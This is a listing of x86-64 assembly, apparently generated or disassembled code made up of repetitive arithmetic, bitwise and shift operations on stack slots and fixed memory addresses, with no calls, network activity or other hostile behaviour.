mov word [rsp + 0xf08], ax
mov rax, qword [rsp + 0x7ce0]
mov rcx, qword [rsp + 0x54d0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7a90], rax
mov rax, qword [rsp + 0x61f8]
mov rcx, qword [rsp + 0x5a40]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2e78], eax
mov rax, qword [rsp + 0x5b78]
mov rax, qword [rax]
mov qword [rsp + 0x82d0], rax
mov rax, qword [rsp + 0x5028]
mov rcx, qword [rsp + 0x7540]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x7858]
mov dword [rcx], eax
lea rax, [rsp + 0x82]
mov qword [0x140114898], rax
lea rax, [rsp + 0xa34]
mov qword [rsp + 0x82d8], rax
movsx eax, word [rsp + 0xb94]
movsx ecx, word [rsp + 0x890]
sub eax, ecx
mov word [rsp + 0xdf0], ax
movzx eax, byte [0x14011306b]
mov byte [rsp + 0x1b7], al
mov rax, qword [rsp + 0x82d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x73b8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8180]
mov word [rcx], ax
mov rax, qword [rsp + 0x7468]
mov ecx, dword [rsp + 0x30cc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2de4], eax
mov eax, dword [rsp + 0x30c8]
mov dword [rsp + 0x3140], eax
mov rax, qword [rsp + 0x8060]
cqo
mov rcx, qword [rsp + 0x7438]
idiv qword [rcx]
mov rcx, qword [rsp + 0x6840]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7450]
mov rax, qword [rax]
mov qword [rsp + 0x82e0], rax
movzx eax, byte [0x14011304f]
mov rcx, qword [rsp + 0x7710]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [0x140113047], al
mov rax, qword [rsp + 0x58d0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6768]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x55], al
movsx eax, word [rsp + 0xdac]
movsx ecx, word [rsp + 0xb9c]
xor eax, ecx
mov word [rsp + 0xd48], ax
lea rax, [rsp + 0x146]
mov qword [rsp + 0x82e8], rax
mov rax, qword [rsp + 0x6c80]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7488]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x177], al
mov rax, qword [rsp + 0x7d88]
mov qword [rsp + 0x82f0], rax
mov eax, dword [rsp + 0x2d50]
mov ecx, dword [rsp + 0x30e0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2ee8], eax
mov rax, qword [rsp + 0x5820]
mov rcx, qword [rsp + 0x6278]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x66c0]
mov dword [rcx], eax
lea rax, [rsp + 0x6790]
mov qword [rsp + 0x82f8], rax
movsx eax, word [0x140114280]
movsx ecx, word [rsp + 0xe6c]
sub eax, ecx
mov rcx, qword [0x1401144e0]
mov word [rcx], ax
mov rax, qword [rsp + 0x7b40]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x46]
and eax, ecx
mov byte [rsp + 0x12a], al
lea rax, [rsp + 0x13d]
mov qword [rsp + 0x8300], rax
mov rax, qword [0x140114740]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7368]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7860]
mov word [rcx], ax
mov rax, qword [rsp + 0x5b58]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x65a8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc78], ax
mov eax, dword [rsp + 0x2e88]
mov dword [rsp + 0x3144], eax
mov rax, qword [rsp + 0x4fa0]
mov rcx, qword [rsp + 0x5218]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x80c0], rax
mov rax, qword [rsp + 0x5fb0]
mov eax, dword [rax]
mov dword [rsp + 0x3148], eax
mov rax, qword [rsp + 0x7238]
mov rcx, qword [rsp + 0x79b8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7370], rax
mov rax, qword [rsp + 0x5848]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x86c]
sub eax, ecx
mov word [0x140113148], ax
mov rax, qword [rsp + 0x5a68]
movzx eax, word [rax]
mov word [rsp + 0xf0c], ax
movsx eax, byte [rsp + 0xd6]
mov rcx, qword [rsp + 0x7200]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x7af0]
mov byte [rcx], al
movzx eax, byte [rsp + 0x19b]
movzx ecx, byte [rsp + 0xc6]
shl eax, cl
mov byte [rsp + 0x106], al
mov rax, qword [rsp + 0x79d8]
movzx eax, word [rax]
mov word [rsp + 0xf10], ax
mov rax, qword [0x140113008]
mov rcx, qword [rsp + 0x60d8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x5d80], rax
mov eax, dword [rsp + 0x3038]
mov dword [rsp + 0x314c], eax
mov rax, qword [rsp + 0x6a28]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x7b18]
mov qword [rsp + 0x8308], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8308]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x54b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7438]
mov rax, qword [rax]
mov rcx, qword [0x140114160]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x6b10], rax
movzx eax, byte [rsp + 0xf1]
mov byte [rsp + 0x1b8], al
movzx eax, word [rsp + 0x8b8]
movzx ecx, word [rsp + 0x938]
sub eax, ecx
mov word [0x140114570], ax
mov rax, qword [0x1401145a0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6718]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x157], al
movzx eax, word [rsp + 0xa9c]
mov word [rsp + 0xf14], ax
movzx eax, byte [rsp + 0x125]
movzx ecx, byte [rsp + 0xa5]
add eax, ecx
mov byte [rsp + 0x1b4], al
mov rax, qword [rsp + 0x6e48]
mov rcx, qword [rsp + 0x6210]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x7668]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7608]
mov eax, dword [rax]
mov dword [rsp + 0x3150], eax
mov rax, qword [rsp + 0x7210]
mov rcx, qword [rsp + 0x52c0]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x5818]
mov qword [rcx], rax
lea rax, [rsp + 0x7c58]
mov qword [rsp + 0x8310], rax
mov rax, qword [rsp + 0x5c18]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x910]
add eax, ecx
mov word [rsp + 0xdac], ax
movzx eax, word [rsp + 0xca0]
mov rcx, qword [0x140114670]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14011314c], ax
lea rax, [rsp + 0xea]
mov qword [rsp + 0x8318], rax
mov rax, qword [rsp + 0x7bb0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5e88]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x19a], al
mov rax, qword [rsp + 0x4e58]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe34]
sub eax, ecx
mov rcx, qword [rsp + 0x4ec0]
mov word [rcx], ax
lea rax, [rsp + 0x5000]
mov qword [rsp + 0x8320], rax
mov eax, dword [rsp + 0x2eb0]
movzx ecx, al
mov eax, dword [rsp + 0x2b64]
shr eax, cl
mov dword [rsp + 0x2b7c], eax
mov eax, dword [rsp + 0x3064]
mov dword [rsp + 0x3154], eax
mov rax, qword [rsp + 0x66f8]
mov rax, qword [rax]
mov rcx, qword [0x140114160]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x7808], rax
movsx eax, byte [rsp + 0xb2]
movsx ecx, byte [rsp + 0xb7]
xor eax, ecx
mov byte [rsp + 0x1ab], al
mov rax, qword [rsp + 0x6880]
movzx eax, word [rax]
mov word [0x1401148a0], ax
lea rax, [0x140113090]
mov qword [rsp + 0x8328], rax
mov rax, qword [rsp + 0x6270]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7628]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x1b2], al
lea rax, [rsp + 0xbe]
mov qword [rsp + 0x8330], rax
mov rax, qword [rsp + 0x7738]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2b48]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2980], eax
mov rax, qword [rsp + 0x64b8]
mov ecx, dword [rsp + 0x2bfc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2bd0], eax
mov rax, qword [rsp + 0x5f88]
mov qword [rsp + 0x8338], rax
mov rax, qword [rsp + 0x7020]
mov rcx, qword [rsp + 0x5910]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7de0], rax
mov rax, qword [rsp + 0x75f0]
movzx eax, word [rax]
mov word [rsp + 0xf18], ax
mov rax, qword [rsp + 0x5508]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe94]
sub eax, ecx
mov word [0x140114430], ax
movzx eax, word [0x140113040]
mov rcx, qword [rsp + 0x4fa8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xa2c], ax
mov rax, qword [rsp + 0x7538]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7b10]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5e88]
mov byte [rcx], al
movzx eax, byte [rsp + 0xa0]
mov byte [rsp + 0x1b9], al
mov rax, qword [0x140114388]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe1c]
and eax, ecx
mov word [rsp + 0xda0], ax
mov rax, qword [rsp + 0x5fb8]
mov qword [rsp + 0x8340], rax
mov rax, qword [rsp + 0x7788]
mov rcx, qword [rsp + 0x7d20]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x7000]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5028]
mov eax, dword [rax]
mov dword [rsp + 0x3158], eax
mov rax, qword [rsp + 0x65b0]
mov ecx, dword [rsp + 0x2c88]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x7da8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4ec0]
movsx eax, word [rax]
mov rcx, qword [0x1401143f8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x140114840], ax
mov rax, qword [rsp + 0x66d0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6cb0]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x85], al
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x8348], rax
movsx eax, byte [rsp + 0x47]
mov rcx, qword [0x140114168]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x104], al
lea rax, [rsp + 0xd68]
mov qword [rsp + 0x8350], rax
mov rax, qword [rsp + 0x7b08]
movzx ecx, al
mov rax, qword [rsp + 0x80c0]
sar rax, cl
mov qword [rsp + 0x5580], rax
mov eax, dword [0x140114150]
mov ecx, dword [rsp + 0x2f9c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x312c], eax
mov eax, dword [rsp + 0x2e58]
mov dword [rsp + 0x315c], eax
mov rax, qword [rsp + 0x5518]
mov rcx, qword [rsp + 0x7c68]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x54d0]
mov qword [rcx], rax
lea rax, [rsp + 0xca8]
mov qword [0x1401148a8], rax
mov rax, qword [rsp + 0x5068]
movzx eax, byte [rax]
mov byte [rsp + 0x1ba], al
movzx eax, byte [rsp + 0x139]
mov rcx, qword [rsp + 0x6e50]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7758]
mov byte [rcx], al
mov rax, qword [rsp + 0x5e90]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x58]
sub eax, ecx
mov byte [rsp + 0x176], al
lea rax, [rsp + 0xcc4]
mov qword [rsp + 0x8358], rax
mov rax, qword [rsp + 0x71c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3030]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2c6c], eax
lea rax, [rsp + 0x62a0]
mov qword [rsp + 0x8360], rax
mov rax, qword [rsp + 0x6b58]
mov rcx, qword [rsp + 0x81e8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x53c8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5cb8]
mov eax, dword [rax]
mov dword [rsp + 0x3160], eax
lea rax, [rsp + 0xd6c]
mov qword [0x1401148b0], rax
movzx eax, byte [rsp + 0x14e]
mov rcx, qword [rsp + 0x5020]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7538]
mov byte [rcx], al
mov rax, qword [rsp + 0x6370]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xba0]
add eax, ecx
mov word [rsp + 0xbd8], ax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x8368], rax
movzx eax, word [rsp + 0x9f4]
movzx ecx, word [0x1401130a4]
and eax, ecx
mov word [rsp + 0x85c], ax
mov rax, qword [rsp + 0x6b10]
mov qword [rsp + 0x8370], rax
mov rax, qword [rsp + 0x6a70]
mov ecx, dword [rsp + 0x2d18]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x7f20]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7210]
mov rcx, qword [rsp + 0x5650]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x5df8], rax
mov rax, qword [rsp + 0x5a98]
mov eax, dword [rax]
mov dword [rsp + 0x3164], eax
mov rax, qword [rsp + 0x7e00]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe4c]
shl eax, cl
mov word [0x1401144c0], ax
movsx eax, byte [rsp + 0x11b]
movsx ecx, byte [rsp + 0x1b3]
sar eax, cl
mov rcx, qword [rsp + 0x5d88]
mov byte [rcx], al
mov rax, qword [rsp + 0x6878]
movzx eax, byte [rax]
mov byte [rsp + 0x1bb], al
movzx eax, word [rsp + 0x940]
movzx ecx, word [rsp + 0xeb0]
xor eax, ecx
mov rcx, qword [rsp + 0x6ed0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1a9]
movzx ecx, byte [rsp + 0x33]
sub eax, ecx
mov byte [rsp + 0x9e], al
mov rax, qword [rsp + 0x6c08]
mov qword [rsp + 0x8378], rax
mov rax, qword [rsp + 0x5108]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2c88]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2efc], eax
mov rax, qword [rsp + 0x76b8]
mov rax, qword [rax]
mov qword [rsp + 0x8380], rax
mov eax, dword [rsp + 0x2f50]
mov ecx, dword [rsp + 0x2e74]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5168]
mov dword [rcx], eax
lea rax, [rsp + 0x9e4]
mov qword [0x1401148b8], rax
mov rax, qword [rsp + 0x6b18]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8138]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x169], al
movzx eax, byte [rsp + 0x69]
mov byte [rsp + 0x1bc], al
movsx eax, byte [rsp + 0x110]
mov rcx, qword [rsp + 0x66b8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5038]
mov byte [rcx], al
mov rax, qword [rsp + 0x61d0]
movzx eax, word [rax]
mov word [rsp + 0xf1c], ax
mov rax, qword [rsp + 0x5c28]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3058]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5d90]
mov dword [rcx], eax
lea rax, [rsp + 0x2e94]
mov qword [rsp + 0x8388], rax
mov rax, qword [rsp + 0x7250]
mov rcx, qword [0x140113008]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7e08], rax
mov rax, qword [rsp + 0x5238]
mov rcx, qword [rsp + 0x6288]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6bf8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5908]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6a00]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x140114388]
mov word [rcx], ax
movzx eax, word [0x14011302c]
mov word [rsp + 0xf20], ax
mov rax, qword [rsp + 0x6058]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf10]
and eax, ecx
mov rcx, qword [rsp + 0x6758]
mov word [rcx], ax
lea rax, [rsp + 0x100]
mov qword [rsp + 0x8390], rax
movsx eax, word [0x14011302c]
movsx ecx, word [rsp + 0xb78]
or eax, ecx
mov rcx, qword [rsp + 0x5940]
mov word [rcx], ax
mov rax, qword [rsp + 0x5d90]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2e40]
shl eax, cl
mov dword [rsp + 0x3120], eax
mov rax, qword [rsp + 0x7808]
mov qword [rsp + 0x8398], rax
mov eax, dword [rsp + 0x2aec]
mov rcx, qword [rsp + 0x6738]
mov qword [rsp + 0x83a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x83a0]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x5140]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7128]
mov rax, qword [rax]
mov qword [rsp + 0x83a8], rax
mov rax, qword [rsp + 0x7d38]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7700]
movsx ecx, word [rcx]
xor eax, ecx
mov word [0x140114790], ax
movzx eax, byte [rsp + 0xfa]
movzx ecx, byte [rsp + 0xe6]
add eax, ecx
mov byte [rsp + 0x4f], al
movzx eax, word [rsp + 0xe80]
mov rcx, qword [rsp + 0x6ad0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xecc], ax
movzx eax, byte [rsp + 0xd6]
mov byte [rsp + 0x1bd], al
movsx eax, byte [rsp + 0xa4]
mov rcx, qword [rsp + 0x6558]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x135], al
mov rax, qword [rsp + 0x5970]
mov qword [rsp + 0x83b0], rax
mov rax, qword [rsp + 0x82f0]
mov rcx, qword [rsp + 0x5bc0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7d78], rax
mov rax, qword [rsp + 0x5c88]
mov rcx, qword [rsp + 0x6cb8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2d58], eax
mov rax, qword [rsp + 0x7378]
mov eax, dword [rax]
mov dword [rsp + 0x3168], eax
mov rax, qword [rsp + 0x6120]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xeb0]
sub eax, ecx
mov word [rsp + 0xa64], ax
lea rax, [rsp + 0x90]
mov qword [0x1401148c0], rax
movzx eax, word [rsp + 0xcd8]
mov word [rsp + 0xf24], ax
movsx eax, byte [rsp + 0xf5]
mov rcx, qword [rsp + 0x75d8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x51f8]
mov byte [rcx], al
mov rax, qword [0x140114408]
movzx eax, byte [rax]
mov byte [rsp + 0x1be], al
mov rax, qword [rsp + 0x68c8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6918]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7c38]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7250]
mov rcx, qword [rsp + 0x5400]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x5190]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2d1c]
mov dword [rsp + 0x316c], eax
mov eax, dword [rsp + 0x2d14]
mov ecx, dword [rsp + 0x2c74]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7180]
mov dword [rcx], eax
lea rax, [rsp + 0x120]
mov qword [rsp + 0x83b8], rax
lea rax, [rsp + 0xa3c]
mov qword [0x1401148c8], rax
movzx eax, word [0x1401130e0]
movzx ecx, word [rsp + 0xe14]
add eax, ecx
mov rcx, qword [rsp + 0x61d0]
mov word [rcx], ax
mov rax, qword [rsp + 0x80f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x16f]
sar eax, cl
mov byte [rsp + 0x11d], al
movzx eax, byte [rsp + 0x169]
mov byte [rsp + 0x1bf], al
mov rax, qword [rsp + 0x6338]
mov rcx, qword [rsp + 0x5cf0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x5238], rax
lea rax, [rsp + 0x3058]
mov qword [rsp + 0x83c0], rax
mov rax, qword [rsp + 0x6698]
mov ecx, dword [0x140114150]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x6728]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5ea0]
movzx ecx, al
mov rax, qword [rsp + 0x7960]
shl rax, cl
mov qword [rsp + 0x5498], rax
movzx eax, byte [rsp + 0xb6]
mov byte [rsp + 0x1c0], al
mov rax, qword [rsp + 0x81f0]
movzx eax, word [rax]
mov rcx, qword [0x140114768]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x140114570], ax
mov rax, qword [rsp + 0x5a58]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4a]
sub eax, ecx
mov byte [rsp + 0x185], al
mov rax, qword [rsp + 0x7130]
movzx eax, word [rax]
mov word [rsp + 0xf28], ax
mov rax, qword [rsp + 0x55e8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb14]
sub eax, ecx
mov word [rsp + 0xc64], ax
mov rax, qword [rsp + 0x4cd0]
mov qword [rsp + 0x83c8], rax
mov rax, qword [rsp + 0x7418]
mov rcx, qword [rsp + 0x7c30]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x5838], rax
mov eax, dword [rsp + 0x2b5c]
mov ecx, dword [rsp + 0x2eec]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6ea0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8120]
mov eax, dword [rax]
mov dword [rsp + 0x3170], eax
movzx eax, byte [rsp + 0x152]
mov rcx, qword [rsp + 0x7988]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xb6], al
lea rax, [rsp + 0x6e]
mov qword [0x1401148d0], rax
mov rax, qword [rsp + 0x6b48]
movzx eax, word [rax]
mov word [rsp + 0xf2c], ax
movsx eax, word [rsp + 0xa94]
mov rcx, qword [rsp + 0x6d68]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7ec0]
mov word [rcx], ax
mov rax, qword [rsp + 0x7fb8]
movsx eax, word [rax]
mov rcx, qword [0x1401141c0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6508]
mov word [rcx], ax
lea rax, [rsp + 0xda4]
mov qword [rsp + 0x83d0], rax
mov rax, qword [rsp + 0x8200]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6db0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x57a8], rax
mov eax, dword [rsp + 0x2f24]
mov dword [rsp + 0x3174], eax
mov eax, dword [rsp + 0x2b38]
mov rcx, qword [rsp + 0x55d8]
mov qword [rsp + 0x83d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x83d8]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x7088]
mov dword [rcx], eax
mov rax, qword [rsp + 0x62e0]
mov rcx, qword [rsp + 0x8360]
mov qword [rsp + 0x83e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x83e0]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x6748]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6a88]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7f18]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [0x1401141a0]
mov byte [rcx], al
movzx eax, word [rsp + 0x894]
mov word [rsp + 0xf30], ax
movzx eax, byte [rsp + 0xdf]
mov rcx, qword [rsp + 0x6c80]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xb1], al
mov rax, qword [0x140114528]
movzx eax, byte [rax]
mov byte [rsp + 0x1c1], al
mov rax, qword [rsp + 0x59b8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x63]
and eax, ecx
mov rcx, qword [rsp + 0x6160]
mov byte [rcx], al
mov rax, qword [rsp + 0x5d50]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7f48]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7cc0], rax
lea rax, [0x140114160]
mov qword [rsp + 0x83e8], rax
mov eax, dword [rsp + 0x2e1c]
mov ecx, dword [rsp + 0x2f88]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5b60]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7558]
mov eax, dword [rax]
mov dword [rsp + 0x3178], eax
mov rax, qword [rsp + 0x6f90]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x81c8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x140114450]
mov word [rcx], ax
movsx eax, word [rsp + 0xa48]
movsx ecx, word [rsp + 0x9d4]
sub eax, ecx
mov rcx, qword [rsp + 0x6b38]
mov word [rcx], ax
lea rax, [rsp + 0x6e]
mov qword [rsp + 0x83f0], rax
movzx eax, byte [rsp + 0x5b]
movzx ecx, byte [rsp + 0xcb]
and eax, ecx
mov byte [rsp + 0x118], al
movzx eax, word [rsp + 0x958]
mov rcx, qword [rsp + 0x7a00]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xee4], ax
mov eax, dword [rsp + 0x30a0]
mov dword [rsp + 0x317c], eax
mov rax, qword [rsp + 0x7578]
mov rcx, qword [0x140113008]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x5380], rax
mov rax, qword [rsp + 0x7770]
mov rax, qword [rax]
mov qword [rsp + 0x83f8], rax
mov eax, dword [rsp + 0x3118]
mov ecx, dword [rsp + 0x2c8c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2d80], eax
lea rax, [0x14011309c]
mov qword [0x1401148d8], rax
movsx eax, byte [rsp + 0xa1]
movsx ecx, byte [rsp + 0x46]
add eax, ecx
mov rcx, qword [rsp + 0x5828]
mov byte [rcx], al
movzx eax, word [rsp + 0xabc]
mov word [rsp + 0xf34], ax
mov rax, qword [rsp + 0x7338]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x71c8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xb80], ax
movzx eax, byte [rsp + 0xfe]
mov byte [rsp + 0x1c2], al
mov rax, qword [rsp + 0x7c50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2fdc]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7698]
mov dword [rcx], eax
mov rax, qword [rsp + 0x66f8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x140114160]
sar rax, cl
mov rcx, qword [rsp + 0x64b0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6080]
mov eax, dword [rax]
mov dword [rsp + 0x3180], eax
mov rax, qword [rsp + 0x7118]
mov rcx, qword [rsp + 0x5128]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x5d58]
mov qword [rcx], rax
movzx eax, word [0x140113080]
movzx ecx, word [rsp + 0xd7c]
and eax, ecx
mov word [0x140113150], ax
mov rax, qword [rsp + 0x6878]
movzx eax, byte [rax]
mov byte [rsp + 0x1c3], al
movsx eax, word [rsp + 0xd0c]
movsx ecx, word [rsp + 0xc44]
sub eax, ecx
mov rcx, qword [rsp + 0x6cc8]
mov word [rcx], ax
lea rax, [0x140113026]
mov qword [rsp + 0x8400], rax
mov rax, qword [rsp + 0x6358]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7ee8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xaa4], ax
mov rax, qword [rsp + 0x77e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2ec4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3020], eax
lea rax, [0x140114160]
mov qword [rsp + 0x8408], rax
mov eax, dword [rsp + 0x3090]
mov ecx, dword [rsp + 0x30e0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2f60], eax
mov rax, qword [rsp + 0x6d70]
mov rax, qword [rax]
mov qword [rsp + 0x8410], rax
mov rax, qword [rsp + 0x52a0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x117]
sub eax, ecx
mov rcx, qword [0x1401141a0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4cc0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8348]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x93], al
mov rax, qword [rsp + 0x6990]
movsx eax, word [rax]
mov rcx, qword [0x140114740]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc18], ax
mov rax, qword [rsp + 0x7208]
movzx eax, word [rax]
mov word [rsp + 0xf38], ax
movsx eax, word [rsp + 0xa6c]
mov rcx, qword [rsp + 0x7ba8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xee0], ax
lea rax, [rsp + 0x7708]
mov qword [rsp + 0x8418], rax
mov rax, qword [rsp + 0x4f90]
mov rcx, qword [rsp + 0x5548]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6480], rax
